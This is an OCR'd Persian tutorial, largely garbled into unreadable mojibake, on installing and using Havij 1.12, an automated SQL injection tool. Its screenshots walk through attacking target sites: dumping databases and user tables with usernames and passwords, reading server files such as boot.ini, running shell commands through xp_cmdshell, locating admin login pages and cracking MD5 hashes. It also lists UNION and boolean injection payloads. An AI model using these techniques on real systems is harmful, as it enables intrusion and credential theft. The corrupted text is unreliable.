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Avoid using strings
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»VU U3,9 L Internet Explorer 5.5 o
Cdew Souwd Sg)y > Slas 6MB e

S,505 juize guo U 9 ItSecTeam.com culw 5l ) aoly weas LB lv> aS auS wds
Al 05,5 Wl

g 030> Giwled b o5 S 0=y wles =l | 4ol setup LB wuas 9,00 Sl

o Setup - Havij EMT

Welcome to the Havij Setup
Wizard
This will install Havij 1.12 Free on your computer,

It is recommended that vou close all other applications befaore
conkinuing.

Click Mext to continue, or Cancel to exit Setup,

| Cancel |

g 031y Gauulos 55 S axawo 9 A4S oy aolsl cuas U odg0u SIS Next g,



'. fie Setup - Havij

Select Destination Location
Where should Havij be installed?

‘_J Setup will install Havij inta the Following Falder.

To continue, click Mext, IF vou would like to select a different Folder, click Browse,

Z:\Program Files\Harvij Browse. ..

Ak least 5.8 ME aof free disk space is required.

| <Back | MNextx | | Cancel |

w0 S >)|9J.~D.L®|9>wL_xii@gg.&QSbL_s\lzouu)bi.\ng\Jlgdw)b
g Ay S Al>50 3509 U oS SIS Next So) v 9 3ud juus ) 029 Uiy o ilg

'. fie Setup - Havij

Select Start Menu Folder H
Where should Setup place the program's shortcuts? ]

Setup will create the program's shortcuts in the Following Start Menu Folder.

To continue, click Mext, IF vou would like to select a different Folder, click Browse,

Hawij 1.12 Free Browse. ..

| <Back | MNextx | | Cancel |

AS 3)lg 590 s sl Al sl Start Menu s aS Sl asigy pU 13U lows ad>y0 ool )
AuiS SIS Next Sg) 5 9 3 s [ U ol 3ulsi swo



|'.‘:" Setup - Héw’j

Select Additional Tasks
Wehich additional tasks should be performed?

Select the additional tasks wou would like Setup ko perform while installing Havij, then
click Mext.

Additional icons:

[7] iCreate a deskrop icon:

| <Back || MNextx | | Cancel |

S |, Create a desktop icon s aiu;S sgui skl LLSiws 5y sl SO G auyls Liled S
g (s 031 Galos 5 Wgo 4 was wleMbl ;1 Sl anMs Next Sg) 0 SIS U ooy

|'.‘:" Setup - Havij

Ready to Install H J
Setup is now ready to begin installing Hawij on wour computer, - |
S
Click Install ko conkinue with the installation, or click Back. if wou wank to review or
change any settings.
Destination location:
Z:\Program Files\Havij
Start Menu Folder:
Hawij 1.12 Free
|  <Back iI --------- l nstall| |  Cancel |

g oo el wuas Install ) 50 SIS L
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& Setup - Havij

Completing the Havij Setup
Wizard

Setup has finished installing Havij on your computer, The
application may be launched by selecting the installed icons.

Click. Finish to exit Setup,

[ Finish [

9 iy Swi |, Launch Havij o aiy;S auS ol | zusd S aoliy ccwai 5l guy U oo 3
.AuS SJS Finish g,



Target: httpAfwmw target.comsfindex.asprid=123

7] Syntax:

| Method GET | Type | Auto Detect v

[ Keywaord:

[rata Bage: Auto Detect

.

About

* Status I'mIDLE

| =] a _‘f'il Y BT

Find Adrnin MDS

Havij - Advanced SQL Injection Tool

. “ersion 1,12 Free
) N Copyright © 2009-2010
Giitiedeersn By ra3dmOyv3

http: ffITSecTeamn.com
http: fforum. Itsecteam.com
info@itsectearn.com Check for update

Data Bases!:

Ms=0QL with error
Ms=0L no error
Ms=QL Blind
MsAccess
Msaccess Blind
MySQL

[ m [

KN

]

Settings

Analyze

=

Load Save

Clear Log

Hawij 1.12 Free ready!
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Startup 4

“ﬂ Windows Messenger
'@ Tour Windows 5P

. Files and Settings Tr
BTN Wizard

ﬁ Harvij

all Programs B |

Internet Explorer

[y

Qutlook, Express
Remote Assistance
Windows Media Plaver
Windows Messenger

Windows Movie Maker

e w0864 0

owl VS 4ol S asws plod Sy YU J>Lo

Qued V9>

Add or Remove Programs s ;S 9 g Control Panel s)ly zugd S aoliy Bi> iy
S oy ) Havij s ol cowd 5y oS olsaol |

i Add or Remove Programs

Currently installed programs: [l showupdates Sork by:

“hange or
Rermowve
Programs re For support information.

&i‘; 0 re his program Frol ur compuker,

Add Mew
Programs

=

Add/Remove
Windows
Compaonents

@

Set Program
Access and
Defaults

Havrij 1.12 Pro




Ldlgs> sw lJT aS 390 (w0 0wy loww 5l Jlgow S .auS SUS Remove Sy 0 e
ww ooy Giwlos aui Wi> wusdgo U anly aSiul u susuo oy pley OLL 5> 9 390 (sw
Y WV

Havij Uninstall

1 J Havij was successfully remaoved Fram wour computer.
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ol 4 3,5 Olds> Shy oS SHlas seme SO WL il loaw aoln WSS Jiwy>, Sy
Sl ad,> S azuw 5 | 5oy J>bo oo wdl)s 51 gy 2wy Juoul info@itsecteam.com

g Juog il 4 -1
AuS SIS Register Sg, 0 aol,y About caoowd 5> -2

Target: |http:,{f'www.target.com,findex.asp?iu:l=123 |

[ Eepward: i | [ St i ito Det |

DataBass: | Auto Detect v| Method |GET  w| Twps: |Auto Detect v |
@ t [ a %) i W %

About Info able : es Crnd Shell : Find Adrmin MDS Settings

Havij - Advanced SQL Injection Tool

Yersion 1.12 Pro
% Copyright & 2009-2010
Wedicemn By r3dmOv3

http: A ITSecTeam.com
http: fffarum. [tsecteam.com
info@itsecteamn.com Check for update

Data Bases Rﬂ%
MsS0L with error

MsSQL no error =
Ms=0L Blind

Mshcoess =
Mshcoess Blind

My S 0L v

" Status: I'mIDLE

b
Analyze
Load Save
1
Clear Log

Hawij 1.12 Pro ready!

b Se=eS WBg,y>) oS 3)lg cowl 00ui @l 90 > aS |, sl Name wouwd ;> -3



._LI.AS )Jls |) J)9=>0 JJlS uu))i Flle w)) '4

Ao dlgs Jlw)l bocss Sl je=0 30y 5l ae wlaxidiw ul Sos ,d 1a>gs

Look in: | @ Deszklop

3 [E}My Documents
@ :ﬂ My Computer
by Recent HM\; Metwork Places
Diocuments & Havij
e 5 Havij 1.12 Pra i
I_.. itseckeam =
Dezktop
.
My Documents

iy Computer

-
File name: |itsecteam b | Opan l

[ |y

My Metwark, Filez of tupe: b » | Cancel ]

[ata Bases Register
Mame: |itsecteam |
Reqister
File: |I::'\D ocuments and Seth D
7 Statuz: I'm [DLE Clear Log
Hawij 1.12 Pro ready!

ploil @ s9x0 sxiw,licl Y=o U awiley Hlaiio 9 4uS SIS Register s, V> -5
Do csw 0l Lawglos 5 pley wlaxiiw Uy = W0 5> Wy



Target: |http:.-"fwww.target.cumx‘index.asp?id=123 |
| Analyze

[ Kewword: |.f\ut0 Detect | [ 5pntax |.f\ut|:| Detect

&

[ata Basze: |.q.|_|t|:| Detect v| tethod: |GET v| Type:|.ﬁ.uta Detect v| Rl e

5 @ i E a ® ey ¥ 8

About Infa Tables Read Files  Cmd Shell Cuery Find Admin MDS Settings

Havij - Advanced SQL Injection Tool

ersion 1.12 Pro
Copyright £ 2009-2010
By ra3dm0y3

ItSecTeam
Exp date: 2020401 /01

[

7 Status: I'm IDLE Clear Log

Hawij 1.12 Pro ready!
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59>9 LiNA> Ui &S (ieo 5> A b wewl 0and 1disie Sy > Uhe Ul S ey
Y- SVIRE V) osls U.wl.o.; BY3) ,olau ‘.wa sl

1 } You are up to date!

59 s 03> Uilod 505 ol Hida> U39 59>9 wygo > Lol

\:.:) & newer version of Havij is available do you want to download?

S SIS Yes Sg) 50 S sbils | ol aua> 059 U ol S
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Shise g 0wS SWS |, Analyze g 3wuS s)lgTarget cuoowd 55 1wl cuwl S axss Guw)sl
9 UL (8990 Wygo 5> 9 Ad> sw pll Silegil wigo @ |, )8 plod zussd .awilos Az
9 vwwluy S oadluw wleMbl wal,s Jud 51 iblSol Wad 350 wulw a4 as>gi U
Lo Ll 55 ) Bad psuw Sy, 1 whgiws Shal si> 9 Ll vles (sl wleMbl
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Ll http /v

[ Eeywaord:

DataBazse: | Auto Detect

™

About Info Tables

© Statuz I'mIDLE

[7] Sontas: | A0

v Method: |GET | Tupe: | autn Detect Ed

E.

md Shell

& T

Query  Find Admin MDS

Havij - Advanced SQL Injection Tool

Wersion 1,12 Pro
Copyright ©® 2009-2010
By radmidy3

http: ffITSecTeam.com
bittpe fforum. Itsecteam. com

info@itsecteann. com

Data Bases

MsSQL with error
MsS0L no error
Ms=QL Blind
Mshccess
Msaccess Blind
MySQL

Check for update

Register

=]

m

S

Settings

b

Analyze

=

Load Save

Clear Log

Selected Column Count is 1

Tying to find string colurmn for MySQL
Tying to find string colurnn for MsSQL no error

Walid String Column is 1

OB Zerver: MsZ0QL no error

Target Wulnerahle 0
OB Marne: NN

Injection Syntax: -999.9 UMNION ALL SELECT %:String_Col%:--

El

m




Sladl vl g ou>d

55 Awlgi (s 393 Bladl ) (81,50 Mg, U Uiy e w9 Aol 5l oslaiwl wlgpw Sy
AaS Jlos LS s anlsl awlgin laey U oS 0,035 | oonw plul )8 plod (80,50 5l add>s0 L0
Al ansln Jol 5l ol [LS6 a4 s5l0 9

BB S 9 05,8 SUS Analyze 5 ) Save So,y v Sy plul 5l as 0390 S 00> Sl
AS Lol sLw 0,05 Sl

Olod )5 09, JS U 2SS eslewl Load o a8 5l U cowl 88 saxo (sl sl
Aadd aolsl | S asle 9 de (sulgs50L audgs 05,5 0,055 WS aS al> 0

(Info) wleMbl wdL,>

B Udy (8990 )90 53 oy pleil @ Ll 3,90 Bad Sy, 0 Analyze Joc aSil il sy
wuleMbl awlgi (s aigsS ol S5l eslawl b osgi (s Jled aoliy SVU s Info s aiysS
S 0a8lino |y e 9 parilins oU (S8 U oudy sl coliw Ganlins H9w 3o iilo
Get Sg) v puww 9 03> Gl b 5,90 S axan U 0,5 SS Info Sy, S0l Sl
Cowdy wleMbl alsi swSave s aiysS 5l eslawl b g wdl,s wleMbl b oS SIS

S 0,u55 |, o0l
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Target:

hitp /v [

Analyze
[ Keywword: [] Synka: i
DataBase: | Auto Detect ~| Method |GET  »| Typer |Auto Detect | ¥|  |pad Save
B E %) & i 25
About Info Tables Cmd Shell  Query  Find Admin MDS Settings
P 2| d
Get 5 Save
Target: R N
Host IP: l
Web Server; Microsoft-115/6.0
Powered-by: ASP.MET
Powered-by: PHP/S.2.6
DB Server: MsZQL no error
Current User: dbo =
Sql Yersion: Microsoft SQL Server 2005 - 9.00.4053.00 {Intel X&&) May 26 2009 14:;
Current DB: ]
Systern User: 5a
Server Mame: C37807-130780
Data Bases: raster
tempdhb
model
msdhb
ReportServer - |
a | 1] [ k|
" Status: I'mIDLE Clear Log
Data Base Found: rmaster -
Data Base Found: tempdb -
Data Base Found: model
Data Base Found: msdb
Data Base Found: ReportServer

Data Base Found:
Data Base Found:
Data Base Found:

Reior'tSer\-'erTempDE-

m




L guwlud g Jolax> wilelbl gl =iwl
wleMbl 2l ziwl

S Ugiw 9 Jola> wleMbl aulgi (o lowis aoly SYL > Tables Sgio 5l oslaiwl b
S axéo U 1uS SUS Tables Sgio Sg,y Sl Sy . auygl own | Gad culw guwlus
ww 03l Giwlos il Jgla> 9 1 Guwlios x> Caomw S 0,y 5> 3gub 031> iwlos alogy o
05 By Sl g g w03l Giwulos Jglas wleMbl wowl) caoaw S 0,3y 5> 9 dgub
Shy g o Wil cowl) Goaw S o Hd wwlw B9 U puwlios Vad wolw

S SUUS Get DBs g,y b uwolios ol widly)s

il ansly ewpiws B punlios Sl vz 4 pulios S)l 8 cowl pSaw tazg




ot [/ b

Analyze
[ Kemword: | j | | S_l,lnta:-::| | &

[rata Base: |.|5.ut|:| Detect :J b ethod: GET »| Tupe |Auto Detect - Load E:;ve
‘ @ & E E ‘B a8 i 25
About Info Tables  Read Files Query  Find Admin MDS Settings

© |8 @ ®\ ®m | Jd d

nmr, {——Z}
Get DBs Get Tables  Get Columns — Get Data Save Tables  Save Data
[ cHE-— ps
- information_schema
Otest
4 3
v Use Group_Concat (MuSEL Only) W Allin one request.
" Status: I'mIDLE Clear Log
Finding string column -

Walid String Column is 3

Target Wulnerable D

Current DB: chobpra_1

Injection Syntax; -999.9 UNION ALL SELECT 0x31303235343830303536,0x3130323534 3830303536, %51
Data Base Found: information_schema

Data Base Found: L =

Data Base Found: test

-

4| i | 3

il e oo cowd 5l de L5 590 puwlos B guwlos Jsla> s eaaliw sl
wwo ooy Giwlos Guwlios o5 0 Jolas (ausS SUS Get Tables g, 0 9 (D Swi) 05,5
V] WV



" Havij

Target:

i}

About

=

[ Kemword: |

[rata Bage:

FErET |

e

b

[~ Synta |50

_:J b ethod:

|auto Detect GET =

& El L ‘B
Read Files l Query

Info Tables

=t A

nmr, {——Z}
Get Tables  Get Columns

=

et DBs Get Daka

Find Admin

Analyze

=

Load Save

Tvpe: |&uto Detect -

& T

MD3

S

Settings

=

Save Tables

=

Save Data

= user

[ topic

[ swstem

[ shophews
[ shopmail

[ shop_user
[ shop

~ O pramaal

[ payment

[ page

[ newwupdate
- news | 4]

- =
O zone

m

v Use Group_Concat (MySEL Only)

v Allin one request.

© Statuz I'mIDLE

Clear Log

Target Wulnerable D
Current DB: chobpra_1

Data Base Found: information_schema
Data Base Found: cHJ| 1
Data Base Found: test

4| i |

Injection Syntax: -999,9 UNION ALL SELECT 0x313032353435830303536,0x31303235343830303536,% 51

Count{table_name) of information_schera.tables Where table_schemaz = - S =
Tables found: airtime,antiflood,comrent,feedback, indexitem,iz_img,iz_stat,mainpage,mainzone,news,nt

Y

-

3

Get Sg) v pw 9 05,5 Ll |) 3¢5 ,bs 5,90 Jgla> Il Jglas Sl vgiw bl Sy
S SudS Columns



Tager: g /A b

Analyze
[ Kewward: | j I S_l,lnta:-::| | ¥

[rata Base: |.|5.ut|:| Detect _-d b ethod: GET »| Tupe |Auto Detect - Load S;ve

& E Bl 80 &8 T o

About Info Tables  Read Files l Query  Find Admin MDS Settings

@ = i E .| d =
: Get DBs  Get Tables  Get Columns — Get Data Save Tables  Save Data
= ch_F-'I - | &
O zone I
= user
[ picpeopleid
O =
O reqisterdate
[ barkid
[ bankbranch
[ acctype
O banknumber
[ bark
[ occupation
[ education -
[ email | |4 3
v Usze Group_Concat [MySGAL Only] v Allin one request.

L

m

" Status: I'mIDLE Clear Log

Injection Syntax: -999.9 JMNIOMN ALL SELECT 0x313032353435830303536,0x31303235343830303536,%51 -
Data Base Found: information_schema E
Data Base Found: chobpra_1

Data Base Found: test

Count{table_name) of information_schema.tables Wwhere table_schema=1EEEEEGGGGGGN - -~
Tahles found: airtime,antiflood,comment,feedback,indexitermn,iz_img,iz_stat,mainpage,mainzone,news,nt
Count(colurnn_narme) of infarmation_scherma.colurnns where table_schemaz“qr =
Columns found: id,zd,usertype,shopid,username,password,membername,mermbersurname,peopleid,sex

-

4| i | v

soir ghxiwl Ll oleMbl alo aS |, uld ugiw Jglas J3Is 51 wleMbl sl sl
S SUJS Get Data oSy, 0 9 auS ozl



Taget [y /N b
Analyze

[ Kewward: | I S_l,lnta:-::| ¥
Diata Bage: |.|5.ut|:| Detect _-d Method:  |GET »| Tupe |Auto Detect - Load 5‘;(\,.8

@ i E El ‘B & i 28

About Info Tables  Read Files Query  Find Admin MDS Settings
= S
@ = ; fift = =
Get DBs Get Tables  Get Columns — Get Data Save Tables  Save Data

Otel 1 id Lsername password =

O countiy

O address 1 admin passward

[ birthday 2 [ 123123

Clsex: g potianun 2533

O pecpleid ).

[ membersuname | = 3 | 19953

O membemamne 4 nokzzz2z 222Nk

passwerd 5 I

LEnmane & kohklang kohklang

[ shopid

i————||

O usertype 7 hangrnan

O -d g hangclub [

[ d -| (10 I - *
v Usze Group_Concat [MySGAL Only] v Allin one request.

" Status: I'mIDLE Clear Log
Data Found: id,username,password=9"potjanun-"~2533 -
Data Found: id,username,password=3" ~199949
Data Found: id,usernarme,password=4~nok2222~222nok
Data Found: id,username,password=5
Data Found; id,username,password=6"kohklang~kohklang
Data Found: id,usernarme,password=7"hangrman GG
Data Found: id,username,password=thaniclubi- B
Data Found: id,username,password=10 2244 =
4| m v

Aol acwlwu | oleMbl uxslgs s o>l )l 50,8 cowl HSow 1a>gs

oleMbl @dl,s ey 1 ,iké Jlacl

oo @0 ol 55 dwwd uwlvs 5 Lol (saleMbl Jlis @ lowd aS cowl gl (a8

Ay 393 55 300 S At @ 53395 U S eslasiwl ,iud 5l Al



Sgio U auS SIS Get Data LS Jadd woMe g, 0 wleMbl wsl)s s s Jlocl sl
|, Get Data V> .2uS 3,9 |y 3¢5 b a0 by 9 3wuS bzl |, Filter Gugww 3900 50 ol
09 w8l low by (il wleMbl U ausS SIS

m 3 & T

&5 Query  Find Admin MDS
Get Columns Gegata i Saveh'i'iables Save
Filter: ]
id Skart Raows 1 gr':'rd
Dump inko File
Save as XML

S sl cowl Admin ol Username ugiiw aS |, 5,95, dudlgs (s LS| Jlio sy

Username="admin’

ST 35le Siax Hidad Sl a4 cowl S8 Lilkd Vs G sl Shy

olgzs Hlaw 5l wleMbl w8l §9,i

<8lys | oleMbl Jaw o3t b oleMbl jhw ol 5l sle wygo @ Get Data o aisS
oMbl i puods 5l Mio g s s | oleMbl goyi shw udles o ,SI .S w
ouew 390 5 Ul Sgie U oS SIS Get Data LS jiudd coMe Sg, o awuS @by |
U auS SIS | Get Data Vs oS s)lg | g9, Hoaw sae 9 auS wlxwl |, Start Row
3 SdS U awilgi (o wleMbl db)s 5l olos 5 5y g bl e Llaw Ol 5l wleMbl

AwS wdgio | wsl,> Stop sy,

Group_Concat ;| oslaiwl

5,5,8MySQL Guwlios Sl hsd g 5)ls [)L8 b vgiw 9 Jglas cacund 505 55 aS ausS ol S|
9 Jgla> plos MySQL Luwlius > Group_Concat g,U ;1 oslaiowl L anly deui 055 S )l
S s ghaeowl S ) b wgiow U

aod U awls ;B aol,y cewl Sow 1wl sby wz  vgiw U Jgla> slaei SI iasgs
A2 (s yilos |y s plen wigo Gl 5> S Ehssewl gy ol U L Ll



Count{table_name) of infarmation_scherna.tables Where table_scherma=0x534E4941 is 297
Tables found: CSEurope,Custorner_table,Datacentre, EAS_digi_maq,IC_Awards_Categaries,Dr
Zan not get all tables by group_concat!

4 (L)

oazo gy U U 2w zhsscwl |y, oleMbl o,bss 5 ailsy |y aiusS ool Suwi edls ol s
S @by [ oleMbl plos

=So wigo sl S oleMbl wsl,s

wsw 49,5 L8 wleMbl Gilos coawd 5,5 aS All in one request s a3 5l eslaswl b
DS @Ol (8,0 UL g BSU ) bl 0,8 wlxil aS sugiw slass o wleMbl algs

L oleMbl aslgn Gug, ¢l U cowl oSowo il s s 1 Ugiiw s )31 tasgs
oleMbl sle whgo a4 9 aalsyg 1) @S ool S cowl i s cul 55 oS glhziowl

Awles ghzawl 1)

wleMbl S 0,055

9 Save Tables ;| aulgi s html w9 ;5 Jglas s 0,033 Sl wleMbl wél)s 51 G
AwS oslaiwl Save Data 5l oaiw ghhziwl wleMbl s 0,055 sl

Get Data ,US iudd wwoMe Sg) 50 a6S 0,035 Xxml wwo,d b | wleMbl U audlgs (s S|
o> Sly L & 9 4SS olkwl |, Save as XML Gugw 90 50 Ol Sgio U auS SIS
Oy S Jwles S a4 wleMbl U oS SIS 1) Get Data juw 1uS paxiw Silw

ol cowlio YU oz b oleMbl wdl,s Shy aisS ol »dignd 0,055 Juld s Lossiww

Sy 3 S 0,5 MySQL Luwlios aulosd dump w8 U ) oleMbl U audlgs sw S|
ozl |, Dump into File Guyw 9.0 50 Ol Sgio U 1uS SIS Get Data LS jiudd woMe
wleMbl U auS SJS | Get Data juww 2uS paxaiw Silw 0,035 Sl L S 9 S
L oleMbl el sl @S ol cgd 0.3 LB s lowdiwn 0,y > Jwlos Sl> a

ol wowlio YU o>

Yow S oleMbl ues

sy ,Lad | Enter jugw



a %) . iTd %

‘iles Query  Find Admin MDS Settings
Get t.:cu.lumns Get Data i Save‘..TabIes Sav;.Data
il LIsSErnanme passwiord =
1 |admin[ |r:ua55wu:urd
[ 123123
iii 22 2333

S ozl |, Delete Row s a8 g 03,5 caowl, SIS ol g, o Lhw SO Wi sl

a %) & T %

‘iles Query  Find Admin MDS Settings
Get Columns  Get Data 5 Save‘TaI:uIes Savé-Data
e Y
id LISErnanme password
T L] -
1 |a|:|rr||n T worcl
2 | Delete Row 123
iii 22 InserkRow

> Hbw S sl

Insert RoW s aiy;S 9 03,5 ol SulS wleMbl Jinles S 0%y 5> 32> sl bl Sy
Aadd> ,Lad | Enter g 05,8 5l | wleMbl g oS olxal |

| a ‘@ 35, BT8 %

Giles i Cuery  Find Admin MDS Settings

i g . d e

Get Columns  Get Data Save Tables  Save Data

id LisErnanme password =
1 admin passwiord

EEE] frny Lisex|

2 [ ] 123123




ol 35105 59>9 PHP U ol,0 MySQL 5> 1a> wleMbl sl b g Wis> e 0ol taxgs
owl 00ui ool u.qu.QJ ) dg.\.>_' 0D (SwagJ Q.ol.':_)._; S L'Jl._a)'g () uuul.ub _)._J_Lw tSl)._J Ul

SQL Server MySQL PostgreSQL Oracle MsAccess
ASP al, < ¢ ¢ >
ASP.NET al, ) >
PHP b 2> b < 2>
JAVA ¢ > ¢ > >
ColdFusion al ) g g >




b L ullg>

ww Jdled CLol.i):J SVU > Read Files Sgio (8255 51 g 3wl MYSQL Gud Guwlius 31
390 BB sl cowl (S . auleze |, MySQL so,w So, Sla L 2ilgi (o lows 9 90

AuS SWUS | Read g auS >)lg Files Address s | sg3 s

ailu | ol a4 csowyiows S o5l puwlios 5,8 L g auwl auslu se>g Lo 31 tasgs
I3 Cswou 031> Gaulos Siux> 1wl

Target: http:/flocalhost/dvwasvulnerabilities/sgli/?Submit=Subritiid=1 [+
Analyze
[ Eeywaord: [7] Syntax: @ j
DataBase: | Auto Detect _v_l Method | GET _v_l Type: | Auto Detect _v_| Load E:;ve
; @ . B a %) & i 25
About Info Tables | Read Files i Query  Find Admin MDS Settings
File Address | \boat ini ~| P

[boot loader]
timeout=30

4

defaulkt=rnulti{0}disk{0)rdisk{0iparttion{1\WINDOWS
[operating systems]
multi{0disk{0irdisk{0)partition{1 MWIND OWS="Microsoft Windows XP Professional” /noexecute=

1] b |

" Status I'mIDLE

Clear Log

Data Base Found:
Data Base Found:
Cata Base Found:
Data Base Found:
Data Base Found:

File was read

4]

Reading file: C:%boot.ini

information_scherna -
dvwa E
mysqgl

phprnyadmin

test

[«] m

1] k|




WOAD Sg) W i Wigiwd S|

5,5 CMD Shell s a3 1wl Microsoft SQL Server Bas culw guwlus aS (g0 >
>l SQL ,9)w Sg, » (swinmuw wlhhgiws lgi (o locd 9 590 (5w Jled anly SYL
doloy azi Hlhiie 9 auS SUS |, Execute g auS >,lg Command s | 593 b 5,90 Hgiwd

3940 (sw 03l Uiwulos albgs e S 0,3y 5> Ul S Az Hgiws VLD Ll Whgo 5

awls |y sgiws Shal Sl 9SS o5l b lei> pulins 558 sgiws Sh=l Sy tasgs

Lot bittp v I
Analyze

[ Keyward: [T Sprtas: i

Data Base: Auto Detect x| I ethod: GET kd Type: | Auto Detect Bl S;;re

T E a @ 3 i %

Ahout Info Tahles Cmd Shell  Query  Find Admin MDS Settings
i
Cammanid: dir -\ = > £ el ‘R
Execute | xp_exec o0s_ex RD
F
valume in driwve < has no label. —
volume Serial Mumber is FCF3-EzZ3E
Directory of C:ih
02/01/2003 09:02 AM 0 AUTOEXEC.BAT
06162010 01:23 PM 223 bandb.sms
02/01/2003 09:02 AM 0 CONFIG.SYS
071042010 02:59 AM <OIR= Documents and Settings =
09,/08/2010 05:4% FM 285,475 EmailInfo. txt i
05/ 18/2000 0z2:21 FM 1,652 EULA. =T
05/14/2010 04:20 FM =OIR= ids
01,/31/200% 10:15 FM =0OIR:= Inetpub
06/25,2010 07:48 FM cle Installutil.InstallLog
07/02,/2000 05:44 FPM 7,280 Metaacl.vbs
02,/17,/2007 07:322 FM 94,720 MsizZap.exe —
10/032,/2010 032:18 FPM <0OIR= Frogram Files
01,/31,/2009  10:19 PM 24,439 Updateratch.lag
06,/16,/2010 01:23 FM 5,313 userdb.sms
03/258/2010 02:38 PM =0OIR.= WINzOOZ -
© Statuz: I'm IDLE Clear Log
Creating temp table successful -

Executing and durnping successful
Merging results successful

Results received {353 bytes)
Results received (353 bytes)
Results received (353 bytes)
Fetching results

Femoving temp table successful




(Query) 9> 9 Yv

91 )5 |y 3935 olgxds SQL Mo awilgi (s aoliy SYU s Query s ausS 5l oslaiwl b

DS oad liio |JQ._Z_+D3.\.).LQJ |).>_|

13615,550 Llaw &G 5l sais 1wl loss SQL oMo ta>gi

Tager  [roepr/ I b

[~ Keyward: a0t

Analyze

=

[~ Synta |50t

[ats Basze: ‘,qut.;. Detect

m —

Ahout Info Tables  Read Files

| Method [GET  w| Type |Auto Detect ¥|  Load Save

;. » & ¥ ]

Cuery  Find Admin MDS Settings

Luery: |Select (@@ ersion

i 2

Execute

5.0.67-community

v &utornatically convert strings.

" Status: I'mIDLE

Clear Log

Query: Select @@version
Query result: 5.0.67-community




A0 D979 S Axa0 UD,S law

obulS (Login) 39,9 S axéo yw)dl wilgi sw aoly SYL ,> Find Admin 5l eslecwl b
axbo Lbdlgs> sw aS | silw yuysl abgsye S axas ;5,8 ul by awS o | culw
Iy Olsas .auS SIS |, Start g awuS >l Path to Search caoowd s S oy [ Ol 5959
olxil 9 oad Iy wixeo Sg; v wowl) SIS L. w03y Gl Cowdd > 0auw

35S 53U 393 53 5950 55 | il suilei swe Open URL s aiy;S

Target: |Fttp v v b
[T Kepword: | I S_I,Inta:-::| Ag’lyze J

[rata Baze: |.ﬁ.utn Detect j Method: GET = | Type: |Auto Detect - Load Save

@ Z = i @® dg ¥ 2%

Bbout Info Tables Query | Find Admin MDS Settings

Pathto seach:  |http: v [ R
% Successres |200,500,301,5 WwebApps |php,asp Theads: |5 Start

" Failture res; Time out: |10 Retries: |1

Found Pages:

Page Respanse
bkt f ey | GGG 2cin/ 302 Ohject moved
bt P, | GGG 20nin/ogin. asp |EDD oK
Open URL
" Statuz |'m IDLE Clear Lag
Powered-by: ASP.MET =

keyword Found: Impressionen
Injection type is Integer
DB Server: MIAccess

Finding admin page: http:/Aaww N
Page Found: http:/fwww, adrin/
Page Found: http:/fwwm, admin/login.asp|

Job Finished

1




MD5 Sy ,)9uu Ud,S S,S

MD5 slas,guuy Ol 5l oslawl b aslsi (sw aS 1il (s MD5 Ml ,S,S Sy shls zugs
|, Start 9 asS >)lg 2SS S)S adlgs o aS |, swiwd MD5 hash J=Is 5> oS S S,
955,85 (w0 gid Jlis @y oWl S5 culw iz 53 Ulosad wWigo 4 Aol S SuS

A8 s Yo o 5> | asw

Target: hitp:ffwwow target.comfindex.asp?id=123 [
Analyze
[ Keyward: I [T Sprtas: B‘ j
DataBaze: | Auto Detect ._v_! Method | GET ._v_! Type: | Auto Detect '_v_! i 5:;\,8
@ " E E %) && T 5
Ahout Imft Tables - I JE Find Admin MOS Settings
D5 hash: SfddccibSaaTeSde1da327dehan 2efan I
Skart
Rezult for hazh: Bfddoc3bhaarBhde] dB327debB82cf39
Site Paszs =
S, rednoize. com passyword
gdataonline.com Failed 3
rmdSdecryption.comm passyword
alirnarmed. pp.ru Failed
passcracking.com passyword —
midS.hashcracking. com passyword
wiwewy hashichecker,.com passyword
wewy bigtrapeze.com passyword -
" Statuz I'm IDLE Clear Log

Hawij 1.12 Pro ready!
Cracking hash: Sfddcc3b5Saar7oe5d61d8327deb8g2cfo9
Plain text of 5f4dcc3bSaarfesdelds327debd82cf99 is password




SVWD YY) V(90

@ bgiyo Wlowhaii I8 b S s pdl,9 50 1) UlSol Gl L8595 (82555 bl 5y 0gMe zugd
S il Shy 855 5> aeliy weyw 9 WUkl Sl 9 ads pll ws wig0 |, By
(Auto Detect) ,S53> Loz wygw U wloadhii swloi LBo,9 Liuw s > .auS oslawl
o £95 9 guwlus (Syntax (Keyword) sadS o aolS Jolo wlowhis ¢l ool s
Aad> pll iws g 4 | lowais ul wled b S awilgi (o lowis Lol o (Type)

Gt 1S swo 0slaiwl VG 3,90 WD aS Csawwliud 9w aS Aiwd Giolo los 3
ool b S Gunlos zued S sl |, ol Database cowdd J31s S5l alss s
S s

Hool i Sl ghziwl Gvg, L (82,5 Microsoft SQL Server :MsSQL with error e
Union ;| oslaiowl L (80,55 Microsoft SQL Server :MsSQL no error e

(Blind) @t pwin> (80,59 Uvg, L Microsoft SQL Server :MsSQL Blind
Union ;| esleiwl L MySQL :MySQL unknown ver e

(Blind) @i puin> (82,55 Uwgy U MySQL :MySQL Blind e

Ol e Sl ghseowl g, L MySQL :MySQL error based e

Union ;| osleswl L Oracle :Oracle

Union ;| oslesiowl L PostgreSQL :PostgreSQL e

Union ;| oslaiwl L Microsoft Access :MsAccess o

(Blind) asiouw puin> (80,55 Uvg, L Microsoft Access :MsAccess Blind o

€95 5l sobaio .(String) s, b s wowl (Integer) sac b SQL (8255 5> (TYPE) susiio €95
Do sw oslaiwl SQL S aos> 5> Wad wulw lwgi lowdivwe aS cowl S usio S>ac
‘g8 Jai coMe J3Is o> SQL s alox> 5 oslaiwl Sl aS cwl Spusio aii, g9 Lol
oeod J3Is 1 (80,50 swlod aS amil asls asgi 5,8 sw L9 (quotation mark) “ | o

530S (S0 WHeo yuskio

|, (False) kle g (True) guxo s> Hw wolss aS il aolS (keyword) SaudS s aols
@ o &y SQL S do> aS ciwl iloy paro WU AS w paiie B S
Sl azi zud ble s 5 sy 115,85 s | olexds S a9 30 s Ll Csoowd

www.lTiSecTeamicom




s aS Sl axan Guygw jl wlie b aodS S b SadS S aodS g (i 0ls,S50
Aol 2> s vlin 1) u=o

AwS oslaiwl 5oy S (8,55 5l Awlei (s SaS S aodS U ,S oy Sl

http://site.com/index.php?id=52 and 1=1 ,uei0 Sly parxs Wb S onds vliw
SHIC

http://site.com/index.php?id=52 and 1=0 Ssic jusio Sl ble s S oauas vliw

S

http://site.com/index.php?id=52" and 'X'=X 2o Sl oo s> S sds vlaw
Sl aw,

http://site.com/index.php?id=52" and 'Xx="y aii, jusio Sy ble s s oaads vlaw
ol

,lie ol ble s s (g 3,8 oadliwe |, Hello w,lic puxo wll> 5> )81 Jln sl
wowl oslaiwl Sl wowlio SadS S aedS Hello s aolS wowlis 39>9

Syntax usi

